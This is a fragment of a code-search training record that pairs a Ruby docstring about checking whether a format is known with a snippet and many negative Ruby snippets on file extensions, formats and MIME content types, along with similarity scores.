}
|
[
"def uses_extension?\n @format =~ /\\.[^\\.]+$/\n end",
"def format_extension\n extensions.reverse.detect { |ext|\n @environment.mime_types(ext) && !@environment.engines(ext)\n }\n end",
"def available_extension?(extension)\n %w[png svg json jpg jpeg].include?(extension)\n end",
"def extension?\n @extension != \"\"\n end",
"def extension?\n !@arg[:extension].nil?\n end",
"def extension\n return _meta_data['extension'] if _meta_data.has_key? 'extension'\n ext\n end",
"def _extension_for(thing)\n MIMETypes.extension_for(thing) || @_extension\n end",
"def get_extension filename\n unless filename.nil?\n filename.to_s.scan(/\\.([\\w+-]+)$/).flatten\n else\n false\n end\n end",
"def format\n @format ||= File.extname(@full_path)[1..-1].intern\n end",
"def known_format?(f)\n FORMAT_TO_CONTENT_TYPE[f]\n end",
"def understands_ext?(path)\n extensions.find{|ext| ext == File.extname(path)}\n end",
"def extension\n extension_from_disk.blank? ? extension_from_feed : extension_from_disk\n end",
"def format=(extension); end",
"def resolve_ext(file_name)\n SUPPORTED_TEMPLATE_FORMATS.find { |ext| File.exists?(\"#{file_name}.#{ext}\") }\n end",
"def maybe_convert_extension(ext); end",
"def detect_format\n # @templates contains Array of Hashes. Example:\n # [{name: \"\"blog-web-prod.json\", block: ...},\n # {name: \"\"api-web-prod.json\", block: ...}]\n formats = @templates.map{ |t| File.extname(t[:name]) }.uniq\n if formats.size > 1\n puts \"ERROR: Detected multiple formats: #{formats.join(\", \")}\".colorize(:red)\n puts \"All the source values in the template blocks in the config folder must have the same format extension.\"\n exit 1\n else\n found_format = formats.first\n if found_format\n detected_format = found_format.sub(/^\\./,'')\n detected_format = \"yaml\" if detected_format == \"yml\"\n else # empty templates, no templates defined yet\n detected_format = \"yaml\" # defaults to yaml\n end\n end\n detected_format\n end",
"def extension\n split_extension(filename)[1] if filename\n end",
"def has_file_format?\n @file_format\n end",
"def by_extension(ext); end",
"def is_format?(); @type == GRT_FORMAT; end",
"def extension\n @ext ||= ( ( e = File.extname( path ) ).empty? ? nil : e )\n end",
"def has_extension?(template, extension)\n comparison_length = extension.size + 1 # account for the separator `.`\n template[-comparison_length, comparison_length] == \".#{extension}\"\n end",
"def detect(content)\n @@registered_formats.detect do |format|\n format.valid?(content)\n end\n end",
"def extension(style = nil)\n style and\n self.styles and\n self.styles[style] and\n self.styles[style][:extension] or\n instance_get(:extension)\n end",
"def format\n @format ||= (\n if read\n fmt = self.class.supported_formats.find{ |fm| fm.match?(path, read) }\n raise IOError, \"Version file matches no known format.\"\n else\n PlainFormat\n end\n )\n end",
"def file_format\n file_formats.first.human if file_formats.first\n end",
"def extension? name\n @extensions.include? name\n end",
"def extension(attachment, style_name)\n ((style = attachment.styles[style_name.to_s.to_sym]) && style[:format]) ||\n File.extname(attachment.original_filename).sub(/\\A\\.+/, \"\")\n end",
"def parser_type_for_extension(extension); end",
"def ext_of(filename)\n filename =~ extension_regex ? $2 : ''\n end",
"def get_mime_type(extension)\n begin\n return Rack::Mime.mime_type(extension)\n rescue\n @log.warn \"Couldn't find the MIME type for #{extension}.\"\n return 'text/json'\n end\n end",
"def valid_extension?(ext)\n if not %w[NS_URI Request Response].all?{|c| ext.const_defined?(c) }\n raise ArgumentError, 'Extension is missing constants.'\n elsif not ext::Response.respond_to?(:from_success_response)\n raise ArgumentError, 'Response is missing required method.'\n end\n return true\n rescue\n return false\n end",
"def file_has_valid_extension?\n file_extension = File.extname(@filename)\n ACCEPTED_FILE_EXTENSIONS.include? file_extension\n end",
"def content_type_extension(attachment, style_name)\n mime_type = MIME::Types[attachment.content_type]\n extensions_for_mime_type = if mime_type.empty?\n []\n else\n mime_type.first.extensions\n end\n\n original_extension = extension(attachment, style_name)\n style = attachment.styles[style_name.to_s.to_sym]\n if style && style[:format]\n style[:format].to_s\n elsif extensions_for_mime_type.include? original_extension\n original_extension\n elsif !extensions_for_mime_type.empty?\n extensions_for_mime_type.first\n else\n # It's possible, though unlikely, that the mime type is not in the\n # database, so just use the part after the '/' in the mime type as the\n # extension.\n %r{/([^/]*)\\z}.match(attachment.content_type)[1]\n end\n end",
"def formats=(extensions); end",
"def unsupported_format?\n case @format\n when *UNSUPPORTED_FORMATS then true\n else false\n end\n end",
"def preferred_extension\n @preferred_extension || extensions.first\n end",
"def check_file_ext(file)\n status = nil\n ext = file.extname\n name = file.basename\n if ext == '.atp'\n status = 'atp'\n elsif ext == '.avc'\n status = 'avc'\n elsif ext == '.gz'\n # Ensure we have a .atp.gz or .avc.gz\n sub_ext = name.to_s.split('.')[-2]\n if sub_ext == 'atp'\n status = 'atp'\n end\n elsif ext == '.list'\n status = 'list'\n end\n status\n end",
"def parser_type_for_extension(extension)\n type = parser_type_extensions.find do |_t, exts|\n [exts].flatten.any? {|ext| ext === extension }\n end\n validated_parser_type(type ? type.first : :ruby)\n end",
"def st_extension\n return \"jpg\" unless self.class.st_config[:extension].present?\n if self.class.st_config[:extension].is_a?(String)\n self.class.st_config[:extension]\n else\n self.send(self.class.st_config[:extension])\n end\n end",
"def extension(attachment, style_name)\n ((style = attachment.styles[style_name.to_s.to_sym]) && style.format) ||\n File.extname(attachment.original_filename).gsub(/^\\.+/, \"\")\n end",
"def extension\n config['plantuml']['extension'] || begin\n ext = type.split(':', 2).first\n case ext\n when 'braille'\n ext = 'png'\n when 'txt'\n ext = 'atxt'\n end\n ext\n end\n end",
"def extension\n extensions.last || \"\"\n end",
"def rails_extension\n case format\n when 'css'\n 'css.erb'\n when 'scss'\n 'scss'\n end\n end",
"def valid_file_format?\n VALID_FILE_FORMAT. include? uri_extension\n end",
"def ext\n b,e = split_extension(filename)\n e\n end",
"def extension\n filename =~ /\\./ ? filename.split('.').last : nil\n end",
"def get_extension(path)\n return path[/^.+(\\.[a-z0-9]+)$/i, 1]\n end",
"def file_extension; end",
"def file_extension; end",
"def file_extension; end",
"def formatted?(path)\n MARKUPS.values.any? { |exts| exts.include?(File.extname(path)) }\n end",
"def formats\n formats = online_resource?(record) ? online_format : physical_format\n any_found?(formats) ? Array(formats[0]) : nil\n end",
"def extension\n begin\n @file_data.original_filename.split(\".\").last\n rescue\n @file_data.path.split(\".\").last\n end\n end",
"def get_mime_type_from_ext(extension)\n extension[0]=''\n types = [\n { :ext => \"txt\", :mime_type => \"text/plain\" },\n { :ext => \"ini\", :mime_type => \"text/plain\" },\n { :ext => \"sln\", :mime_type => \"text/plain\" },\n { :ext => \"cs\", :mime_type => \"text/plain\" },\n { :ext => \"js\", :mime_type => \"text/plain\" },\n { :ext => \"config\", :mime_type => \"text/plain\" },\n { :ext => \"vb\", :mime_type => \"text/plain\" },\n { :ext => :\"jpg\", :mime_type => \"image/jpeg\" },\n { :ext => \"jpeg\", :mime_type => \"image/jpeg\" },\n { :ext => \"bmp\", :mime_type => \"image/bmp\" },\n { :ext => \"csv\", :mime_type => \"text/csv\" },\n { :ext => \"doc\", :mime_type => \"application/msword\" },\n { :ext => \"docx\", :mime_type => \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\" },\n { :ext => \"gif\", :mime_type => \"image/gif\" },\n { :ext => \"html\", :mime_type => \"text/html\" },\n { :ext => \"pdf\", :mime_type => \"application/pdf\" },\n { :ext => \"png\", :mime_type => \"image/png\" },\n { :ext => \"ppt\", :mime_type => \"application/vnd.ms-powerpoint\" },\n { :ext => \"pptx\", :mime_type => \"application/vnd.openxmlformats-officedocument.presentationml.presentation\" },\n { :ext => \"xls\", :mime_type => \"application/vnd.ms-excel\" },\n { :ext => \"xlsx\", :mime_type => \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\" },\n { :ext => \"xml\", :mime_type => \"application/xml\" },\n { :ext => \"zip\", :mime_type => \"application/x-zip-compressed\" },\n { :ext => \"wav\", :mime_type => \"audio/wav\" },\n { :ext => \"eml\", :mime_type => \"message/rfc822\" },\n { :ext => \"mp3\", :mime_type => \"audio/mpeg\" },\n { :ext => \"mp4\", :mime_type => \"video/mp4\" },\n { :ext => \"mov\", :mime_type => \"video/quicktime\" }\n ]\n mime = types.find {|x| x[:ext] == extension}\n\n unless mime.nil? || mime.empty?\n \"application/octet-stream\"\n end\n mime[:mime_type]\n end",
"def file_extension\n self.class.file_extension\n end",
"def file_extension(extension = T.unsafe(nil)); end",
"def check_acceptable_format\n raise ActiveRecord::RecordNotFound if [\"txt\", \"png\"].include?(params[:format] )\n end",
"def supports_extensions?\n false\n end",
"def supports_extensions?\n false\n end",
"def extension_loaded?\n !!extension_loaded\n end",
"def extension_loaded?\n !!extension_loaded\n end",
"def get_mime_type(extension)\n begin\n return Rack::Mime.mime_type(extension)\n rescue\n STDERR.puts \"Couldn't find the MIME type for #{extension}.\"\n end\nend",
"def check_for_file(format)\n File.exists?(\"#{@work.download_basename}.#{format}\")\n end",
"def valid_format?(format)\n return false if format.nil?\n\n FORMATS.include? format.to_sym\n end",
"def get_mimetype_from_extension(file_ext)\r\n valid_mime_types = {\r\n \"bmp\" => \"image/bmp\",\r\n \"gif\" => \"image/gif\",\r\n \"jpeg\" => \"image/jpeg\",\r\n \"jpg\" => \"image/jpeg\",\r\n \"png\" => \"image/png\"\r\n }\r\n return valid_mime_types[file_ext]\r\n end",
"def supported_format?\n !(@file_set.mime_type & self.class.supported_formats).empty? || preservation_file&.original_filename&.first&.downcase&.include?(\".wav\")\n end",
"def visit_ext?(path)\n @ext_rules.accept?(File.extname(path)[1..-1])\n end",
"def ensure_extension\n unless params[:format] || request.method != \"GET\"\n flash.keep\n redirect_to url_for(params.merge(:format => (request.format && request.format.symbol) || :html))\n end\n end",
"def is_supported_file_type?(filename)\n type = filename.split('.')[1]\n return VALID_EXTENSIONS.include?(type)\nend",
"def register_format(ext, mime)\n FORMATS[ext.to_s] = mime\n end",
"def spoofed?\n has_extension? and media_type_mismatch?\n end",
"def get_format(path)\n case File.extname(path)\n when '.png'\n ImageFormat::PNG\n when '.jpg'\n ImageFormat::JPEG\n else\n raise \"Unrecognised image extension: #{File.extname(path)}\"\n end\n end",
"def content_type_format(content_type)\n\t # content_type.split(\"/\").last.to_sym\n\t format=\"\"\n\t Mime::EXTENSION_LOOKUP.each do|k,v|\n\t format=k if v==content_type\n\t end\n\t format.to_sym\n\t end",
"def file_format\n @descriptive_detail.file_format\n end",
"def file_extension\n filename.split(\".\").last\n end",
"def file_extension\n FILE_EXTENSION\n end",
"def file_ext extension\n response_object.mime extension\n end",
"def ext\n File.extname( fullpath )\n end",
"def is_supported? filename\n a = filename.split('.')\n $extensions.each do |e|\n return true if e == a.last.downcase\n end\n return false\n end",
"def infer_extension\n return if name.nil?\n\n self.extension ||= File.extname(name)\n end",
"def missing_extensions?\n return false if extensions.empty?\n return false if default_gem?\n return false if File.exist? gem_build_complete_path\n\n true\n end",
"def ext\n @ext ||= File.extname(path)\n end",
"def supported_format?\n !(@file_set.mime_type & self.class.supported_formats).empty?\n end",
"def extension\n path.split('.').last\n end",
"def get_file_extension(mime_type)\n '.' + MimeMagic.new(mime_type).extensions.first || ''\n end",
"def inferred_mime_type\n format_extension = path.format&.to_s\n MIME::Types.type_for(format_extension).first if format_extension\n end",
"def is_supported_format\n if zip? || csv?\n true\n else\n errors.add(:input, :unsupported_file_format)\n end\n end",
"def registered?(ext); end",
"def registered?(ext); end",
"def file_extension_content_type filename\n types = MIME::Types.type_for(filename)\n types.empty? ? nil : types.first.content_type\n end",
"def whitelist_print_format(candidate)\n WHITELISTED_PRINT_FORMATS.find{ |format| format == candidate }\n end",
"def supported?\n if is_simple_format?\n return true\n elsif is_advanced_format?\n return is_supported_advanced_format?\n else\n return false\n end\n end",
"def extension\n File.extname(@io.original_filename)\n end",
"def has_archive_extension?\n self.class.has_archive_extension? stored_file\n end",
"def proper_ext?(raw_path)\n path = raw_path.is_a?(Pathname) ? raw_path : Pathname.new(raw_path)\n LokaliseRails.file_ext_regexp.match? path.extname\n end",
"def type\n TYPES_BY_EXTENSION.fetch extension, :unknown\n end",
"def ext_of(filename)\n filename =~ /((\\.[a-z]+)*)$/ ? $1 : ''\n end",
"def ensure_extension(source, extension)\n if source =~ /^https?:/ || source.end_with?(\".#{extension}\")\n return source\n end\n\n \"#{source}.#{extension}\"\n end",
"def getExtension(eType)\r\n return @langProfile.getExtension(eType)\r\n end"
] |
[
"0.7693235",
"0.7670485",
"0.69244754",
"0.692352",
"0.68594396",
"0.67498106",
"0.67130375",
"0.67095864",
"0.6668468",
"0.66631484",
"0.66131467",
"0.65970534",
"0.6594477",
"0.65283316",
"0.6524604",
"0.6442593",
"0.63958675",
"0.6387726",
"0.63615906",
"0.6322402",
"0.6296555",
"0.6243598",
"0.6226462",
"0.6208156",
"0.62076646",
"0.6177465",
"0.6173934",
"0.61551666",
"0.61545247",
"0.61185694",
"0.61183393",
"0.6109218",
"0.6105948",
"0.6102625",
"0.6096617",
"0.60805136",
"0.60615474",
"0.6058765",
"0.6058115",
"0.6052535",
"0.6050956",
"0.6050427",
"0.6037499",
"0.60238105",
"0.60201955",
"0.5972805",
"0.5964741",
"0.59538746",
"0.5942228",
"0.5942228",
"0.5942228",
"0.5938619",
"0.59284365",
"0.59244555",
"0.5923866",
"0.5921282",
"0.59194446",
"0.5918031",
"0.59094816",
"0.59094816",
"0.5905591",
"0.5905591",
"0.590022",
"0.5891104",
"0.5889573",
"0.5868905",
"0.5867787",
"0.5859821",
"0.5851254",
"0.58273417",
"0.58170563",
"0.5807902",
"0.57963824",
"0.57961667",
"0.57915807",
"0.57879674",
"0.57803047",
"0.57588446",
"0.57545686",
"0.57540643",
"0.57515574",
"0.57509756",
"0.5740018",
"0.5738727",
"0.5738471",
"0.57367355",
"0.57315886",
"0.5728425",
"0.5728039",
"0.5728039",
"0.5705222",
"0.5705015",
"0.56797975",
"0.56775016",
"0.5674027",
"0.56729966",
"0.5671209",
"0.5670738",
"0.5669326",
"0.56640685"
] |
0.7583987
|
2
|
Checks if a format is known. Returns the associated content type.
|
def known_format?(f)
FORMAT_TO_CONTENT_TYPE[f]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def content_type\n if format == :auto\n MIME_TYPES.values.join(',')\n elsif MIME_TYPES.has_key? format\n MIME_TYPES[format]\n else\n raise ArgumentError, \"Unknown format '#{format}'\"\n end\n end",
"def content_type\n if format == :auto\n MIME_TYPES.values.join(',')\n elsif MIME_TYPES.has_key? format\n MIME_TYPES[format]\n else\n raise ArgumentError, \"Unknown format '#{format}'\"\n end\n end",
"def content_type\n reader.format.content_type if valid?\n end",
"def detect(content)\n @@registered_formats.detect do |format|\n format.valid?(content)\n end\n end",
"def verify_requested_format!\n mimes = collect_mimes_from_class_level\n collector = ActionController::MimeResponds::Collector.new(mimes, request.variant)\n\n unless collector.negotiate_format(request)\n raise ActionController::UnknownFormat\n end\n end",
"def check_format\n # This allows us to support content negotiation\n if request.headers['HTTP_ACCEPT'].nil? || request.format == '*/*'\n request.format = 'xml'\n end\n\n request_format = request.format.symbol\n if request_format != :xml && request_format != :json\n # 406 is the default status code when the format is not support\n head :not_acceptable\n end\n end",
"def type_from_detector\n begin\n ContentTypeDetector.new(@file.path).detect\n rescue Exception => e\n \"\"\n end\n end",
"def has_file_format?\n @file_format\n end",
"def guessed_safe_content_type\n return unless path\n\n type = Marcel::Magic.by_path(original_filename).to_s\n type if type.start_with?('text/') || type.start_with?('application/json')\n end",
"def format\n @format ||= (\n if read\n fmt = self.class.supported_formats.find{ |fm| fm.match?(path, read) }\n raise IOError, \"Version file matches no known format.\"\n else\n PlainFormat\n end\n )\n end",
"def validate_content_type( valid )\n raise Atom::HTTPException, \"HTTP response contains no Content-Type!\" if not self.content_type or self.content_type.empty?\n\n media_type = self.content_type.split(\";\").first\n\n unless valid.member? media_type.downcase\n raise Atom::WrongMimetype, \"unexpected response Content-Type: #{media_type.inspect}. should be one of: #{valid.inspect}\"\n end\n end",
"def is_format?(); @type == GRT_FORMAT; end",
"def inferred_mime_type\n format_extension = path.format&.to_s\n MIME::Types.type_for(format_extension).first if format_extension\n end",
"def content_type(type)\n @response.content_type == type\n end",
"def set_content_type\n format = settings[:format] = params[:format].to_sym\n content_type content_types[format]\n end",
"def format(_view_path = nil)\n formats.first || Mime::NullType.instance\n end",
"def mime_type_for(format, temp_object=nil)\n registered_mime_types[file_ext_string(format)] || (temp_object.mime_type if temp_object.respond_to?(:mime_type)) || fallback_mime_type\n end",
"def supported_format?\n !(@file_set.mime_type & self.class.supported_formats).empty?\n end",
"def check_acceptable_format\n raise ActiveRecord::RecordNotFound if [\"txt\", \"png\"].include?(params[:format] )\n end",
"def handable_format?\n @request.format.symbol.nil? || (@request.format.symbol == :html)\n end",
"def content_type\n @content_type ||= begin\n if format_extension.nil?\n engine_content_type || 'application/octet-stream'\n else\n format_content_type ||\n engine_content_type ||\n 'application/octet-stream'\n end\n end\n end",
"def content_type\n instance_read(:content_type)\n end",
"def is_mime_type? m\n MIME::Type.new m rescue false\n end",
"def is_mime_type? m\n MIME::Type.new m rescue false\n end",
"def content_type\n mime = MIME_TYPES.fetch(format, DEFAULT_MIME_TYPE)\n headers.fetch(\"Content-Type\", mime)\n end",
"def mime_type\n term = format_controlled_vocabulary.all.find { |x| x.definition == info_service.driver }\n term ? term.value : primary_file.mime_type\n end",
"def detect_format\n # @templates contains Array of Hashes. Example:\n # [{name: \"\"blog-web-prod.json\", block: ...},\n # {name: \"\"api-web-prod.json\", block: ...}]\n formats = @templates.map{ |t| File.extname(t[:name]) }.uniq\n if formats.size > 1\n puts \"ERROR: Detected multiple formats: #{formats.join(\", \")}\".colorize(:red)\n puts \"All the source values in the template blocks in the config folder must have the same format extension.\"\n exit 1\n else\n found_format = formats.first\n if found_format\n detected_format = found_format.sub(/^\\./,'')\n detected_format = \"yaml\" if detected_format == \"yml\"\n else # empty templates, no templates defined yet\n detected_format = \"yaml\" # defaults to yaml\n end\n end\n detected_format\n end",
"def load_format(format)\n case format.to_s\n when /(md|mkdn?|mdown|markdown)$/i\n :markdown\n when /(textile)$/i\n :textile\n when /(rdoc)$/i\n :rdoc\n when /(org)$/i\n :org\n when /(creole)$/i\n :creole\n when /(re?st(\\.txt)?)$/i\n :rest\n when /(asciidoc)$/i\n :asciidoc\n when /(pod)$/i\n :pod\n when /(\\d)$/i\n :roff\n when /(media)?wiki$/i\n :mediawiki\n else\n nil\n end\n end",
"def format_to_mime(format)\n format.is_a?(Puppet::Network::Format) ? format.mime : format\n end",
"def check_acceptable_format\n if [\"txt\", \"png\"].include?(params[:format])\n params[:format] = nil\n raise ActiveRecord::RecordNotFound.new\n end\n end",
"def content_type\n @headers['content-type'][0] rescue nil\n end",
"def unsupported_format?\n case @format\n when *UNSUPPORTED_FORMATS then true\n else false\n end\n end",
"def mime_type\n has_content_type? ? header[:content_type].string : nil rescue nil\n end",
"def content_type\n ::MIME::Types.type_for(name).first.try(:content_type) || 'text/html'\n end",
"def detect\n empty_file? ? EMPTY_CONTENT_TYPE : content_type_from_file_command\n end",
"def acceptable_content_type?\n content_type.blank? || Mime::HTML == content_type\n end",
"def format\n \n # If &format= is present we let that win\n if params.size > 0 and params.key?(\"format\")\n format = params[\"format\"]\n else\n # No &format, let Accept header win for GET, DELETE and\n\n if [\"PUT\", \"POST\"].include? request_method\n # Use Content-Type for POST, PUT\n format = media_format\n else\n # GET and DELETE, use Accept header\n format = accept_format\n end\n end\n \n if format.empty?\n # Still no format, go for .format\n format = format_from_path\n end\n \n # Still empty, set to \"\"\n if format.empty?\n format = \"\"\n end\n format\n end",
"def mime_type\n term = format_controlled_vocabulary.all.find { |x| x.definition == info_service.driver }\n term ? term.value : original_file.mime_type\n end",
"def content_type\n file.try(:content_type)\n end",
"def content_type(path)\r\n ext = File.extname(path).split(\".\").last\r\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\r\nend",
"def content_type(path)\n ext = File.extname(path).split(\".\").last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\nend",
"def content_type(path)\n ext = File.extname(path).split(\".\").last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\nend",
"def mime_type(media_type = nil)\n types = MIME::Types.type_for(path)\n return if types.empty?\n if media_type\n media_type = media_type.to_s\n media_types = types.select { |m| m.media_type == media_type }\n if media_types.length > 1\n sub_types = media_types.select { |m| m.sub_type == format }\n media_types = sub_types if sub_types.any?\n end\n types = media_types if media_types.any?\n end\n types.first.content_type if types.any?\n end",
"def the_content_type(content=nil)\n if node = content || @content || Content.get(params[:id])\n node.content_type\n else\n \"<strong>Error:</strong> No content type information could be found\" unless ENV['RACK_ENV'] == 'production'\n end\n end",
"def content_type\n type, *parameters = content_type_parse\n type || 'application/octet-stream'\n end",
"def document_export_formats(format)\n format.any do\n format_name = params.fetch(:format, '').to_sym\n if @response.export_formats.include? format_name\n render_document_export_format format_name\n else\n raise ActionController::UnknownFormat\n end\n end\n end",
"def check_request_format\n unless request.content_type == 'application/json'\n error = ErrorSerializer.serialize({ format: \"Invalid request format. Only JSON requests are supported.\" })\n render json: error, status: :unsupported_media_type\n end\n end",
"def content_type\n headers['content-type'].first\n end",
"def content_type\n headers['content-type'].first\n end",
"def content_type\n @io.content_type\n end",
"def validate_content_type!(response)\n return unless media_type\n\n response_content_type = response.content_type\n expected_content_type = Praxis::MediaTypeIdentifier.load(media_type.identifier)\n\n unless expected_content_type.match(response_content_type)\n raise Exceptions::Validation.new(\n \"Bad Content-Type header. #{response_content_type}\" +\n \" is incompatible with #{expected_content_type} as described in response: #{self.name}\"\n )\n end\n end",
"def accepts_content_type?(content_type)\n accepted_content_types.include? content_type.to_sym\n end",
"def determine_content_type\n location = File.join(self.study.data_store_path, self.download_location)\n signature = File.open(location).read(2)\n if signature == StudyFile::GZIP_MAGIC_NUMBER\n 'application/gzip'\n else\n 'text/plain'\n end\n end",
"def content_type\n if headers.key?('Content-Type')\n typename = headers['Content-Type'].value_without_parameters\n else\n typename = 'text/plain'\n end\n\n MIME::Types[typename].first\n end",
"def file_mimetype\n if file_formats.first\n file_formats.first.mimetype\n end\n end",
"def content_type\n @resource.content_type\n end",
"def content_type\n return @content_type\n end",
"def valid_format?(format)\n return false if format.nil?\n\n FORMATS.include? format.to_sym\n end",
"def format2type(format)\n if FORMATS.has_key? format\n FORMATS[format]\n elsif @user_defined_formats.has_key? format\n @user_defined_formats[format]\n else\n # Previously, just return :float here...\n # Instead, updating to correctly identify percents, dates/times from numeric formats\n # Step 1, remove all quoted (i.e., displayed as non-replaced static text) sections\n\t # \t\tAND all color and language bracket marker sections\n adj_format = format.gsub(/\\\".*?\\\"/, \"\").gsub(/\\[.*?\\]/, \"\")\n # Step 2, check if a percent, s date, a datetime, or a time\n\t if adj_format.include?(\"%\")\n\t\t:percentage\n elsif (adj_format.include?(\"y\") || adj_format.include?(\"d\") || adj_format.include?(\"m\")) && !(adj_format.include?(\"h\") || adj_format.include?(\"s\"))\n :date\n elsif (adj_format.include?(\"y\") || adj_format.include?(\"d\") || adj_format.include?(\"mmm\")) && (adj_format.include?(\"h\") || adj_format.include?(\"s\"))\n :datetime\n elsif !(adj_format.include?(\"y\") || adj_format.include?(\"d\") || adj_format.include?(\"mmm\")) && (adj_format.include?(\"h\") || adj_format.include?(\"s\"))\n :time\n else\n :float\n end\n end\n end",
"def expected_content_type_unmet\n ect = test_case.expected_content_type\n return nil unless ect\n got = response.content_type\n got = got.mime_type if got.respond_to?(:mime_type)\n if ect.nil?\n got.nil? ? nil : \"[content type] #{ect} != #{got}\"\n else\n got.to_s.start_with?(ect.to_s) ? nil : \"[content type] #{ect} != #{got}\"\n end\n end",
"def media_type\n return unless headers['Content-Type']\n\n headers['Content-Type'].split(';').first\n end",
"def get_content_type(uri)\n # TODO double check that open, doesn't make a get request, otherwise use a lower level lib like Net::HTTP\n req = open(uri)\n req.content_type\n end",
"def content_type_header?\n request.headers['Content-Type']&.include?('application/fhir+json')\n end",
"def content_type_with_parameters\n content_type_from_legacy_post_data_format_header || @env['CONTENT_TYPE'].to_s\n end",
"def valid_file_format?\n VALID_FILE_FORMAT. include? uri_extension\n end",
"def get_content_type(filename)\n ext = File.extname(filename) # get the extension\n type = 'application/octed-stream'\n type = 'text/html' if ext == '.html' || ext == '.htm'\n type = 'text/plain' if ext == '.txt' || ext == '.rb'\n type = 'text/css' if ext == '.css'\n type = 'image/jpeg' if ext == '.jpeg' || ext == '.jpg'\n type = 'image/gif' if ext == '.gif'\n type = 'image/png' if ext == '.png'\n type = 'image/bmp' if ext == '.bmp'\n type = 'text/xml' if ext == '.xml' || ext == '.xsl'\n type # same as: return type\n end",
"def name_of_content_type\n if self.content_type == 'application/vnd.ms-word'\n return \"Word document\"\n elsif self.content_type == 'application/pdf'\n return \"PDF file\"\n end\n end",
"def content_type\n environment.content_type_of(pathname)\n end",
"def get_field_type(content)\n type, type_format = content.values_at(:type, :format)\n return content if type.nil? && type_format.nil?\n # formats have priority over type\n field_type = sanitise_string(type_format ? type_format : type, true)\n result = @types[field_type] if @types.key?(field_type)\n \"#{result}\"\n end",
"def acceptable_content_type?\n if content_type == Mime::HTML\n true\n else\n log_not_acceptable_content_type\n false\n end\n end",
"def content_type(path)\n ext = File.extname(path).split('.').last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\n end",
"def extract_mime_type(io)\n if io.respond_to?(:mime_type)\n io.mime_type\n elsif io.respond_to?(:content_type)\n io.content_type\n end\n end",
"def content_type\n @meta_content_type || response['content-type']\n end",
"def content_type\n @meta_content_type || response['content-type']\n end",
"def main_type\n has_content_type? ? header[:content_type].main_type : nil rescue nil\n end",
"def content_type\n content_type_header = @collection.detect { |header| header.has_key?(CONTENT_TYPE_HEADER_KEY) }\n return (content_type_header.nil?) ? nil : content_type_header[CONTENT_TYPE_HEADER_KEY]\n end",
"def valid_image_format?\n VALID_FILE_MIMETYPES.include? self.filetype\n end",
"def content_type\n @mime_type\n end",
"def content_type_of(path)\n attributes_for(path).content_type\n end",
"def content_type\n response&.response&.content_type\n end",
"def content_type\n @headers['Content-Type']\n end",
"def content_type\n content_type = String(headers[\"Content-Type\"] || headers[\"type\"]).split(\";\")[0]\n content_type.blank? ? nil : content_type\n end",
"def content_is_json?\n @content_type =~ /json$/i ? true : false\n end",
"def provides(*formats)\n generate_type_hash = Proc.new{ |header| \n type, *params = header.split(/;\\s*/)\n Hash[*params.map{|p| p.split(/\\s*=\\s*/)}.flatten].merge(\"type\" => type)\n }\n supported_formats = formats.map do |f| \n # selects the correct mime type if a symbol is given\n f.is_a?(Symbol) ? ::Rack::Mime::MIME_TYPES[\".#{f.to_s}\"] : f\n end.compact.map do |f|\n generate_type_hash.call(f)\n end\n # request.accept is an Array\n accepted_formats = request.accept.map do |f| \n generate_type_hash.call(f)\n end\n selected_format = nil\n accepted_formats.each{ |accepted_format| \n selected_format = supported_formats.detect{ |supported_format| \n Regexp.new(Regexp.escape(accepted_format[\"type\"]).gsub(\"\\\\*\", \".*?\"), Regexp::IGNORECASE) =~ supported_format[\"type\"] &&\n (accepted_format[\"level\"] || INFINITY).to_f >= (supported_format[\"level\"] || 0).to_f\n }\n break unless selected_format.nil?\n } \n if selected_format.nil?\n content_type :txt\n halt 406, supported_formats.map{|f| \n output = f[\"type\"]\n output.concat(\";level=#{f[\"level\"]}\") if f.has_key?(\"level\")\n output\n }.join(\",\")\n else\n response.headers['Content-Type'] = \"#{selected_format[\"type\"]}#{selected_format[\"level\"].nil? ? \"\" : \";level=#{selected_format[\"level\"]}\"}\"\n end\n end",
"def class_type_from(content_type) \n case Mime::Type.lookup(content_type).to_sym \n when :text: 'SimpleText' \n when :jpg, :jpeg, :gif, \n :png, :tiff, :bmp: 'ImageData' \n when :xml: 'XmlData' \n when :pdf: 'PdfData' \n else name.demodulize \n end \n end",
"def get_content_type file\n mime_type = MIME::Types.type_for(file.original_filename)\n return mime_type.first ? mime_type.first : nil\n end",
"def content_type\n end",
"def content_type\n self[\"Content-Type\"]\n end",
"def content\n try(content_type)\n end",
"def content_type\n @content_type || object.content_type\n end",
"def parsed_content_type_header; end",
"def content_type\n return blank_type if @headers.nil?\n \n # if no content type is supplied return and empty string instead of nil\n Page.content_type_sanitize( @headers['content-type'] ) \n end",
"def content_type\n content_type_class.constantize if content_type_class\n end",
"def content_type\n @content_type ||= request.content_type\n end",
"def content_mime_type\n fetch_header(\"action_dispatch.request.content_type\") do |k|\n v = if get_header(\"CONTENT_TYPE\") =~ /^([^,;]*)/\n Mime::Type.lookup($1.strip.downcase)\n else\n nil\n end\n set_header k, v\n rescue ::Mime::Type::InvalidMimeType => e\n raise InvalidType, e.message\n end\n end",
"def content_type\n @content_type || file.content_type\n end",
"def document_export_formats(format, response)\n format.any do\n format_name = params.fetch(:format, '').to_sym\n\n if response.export_formats.include? format_name\n render_document_export_format format_name, response\n else\n raise ActionController::UnknownFormat.new\n end\n end\n end",
"def get_content_type\n self.content_type\n end",
"def format\n lookup_val = Integer(@rf['format'])\n @_format ||= format_proxy.lookup_format_name(lookup_val)\n rescue\n @rf['format']\n end",
"def extract_content_type\n if data_content_type == \"application/octet-stream\" && !data_file_name.blank?\n content_types = MIME::Types.type_for(data_file_name)\n self.data_content_type = content_types.first.to_s unless content_types.empty?\n end\n end"
] |
[
"0.747522",
"0.747522",
"0.74192584",
"0.73139757",
"0.7129845",
"0.675387",
"0.6727898",
"0.66968566",
"0.66531587",
"0.6634469",
"0.662036",
"0.66054255",
"0.656686",
"0.65333974",
"0.65037787",
"0.6493091",
"0.6489986",
"0.647038",
"0.6470336",
"0.64406425",
"0.64369",
"0.6424132",
"0.64030766",
"0.64030766",
"0.6395132",
"0.63847786",
"0.6381878",
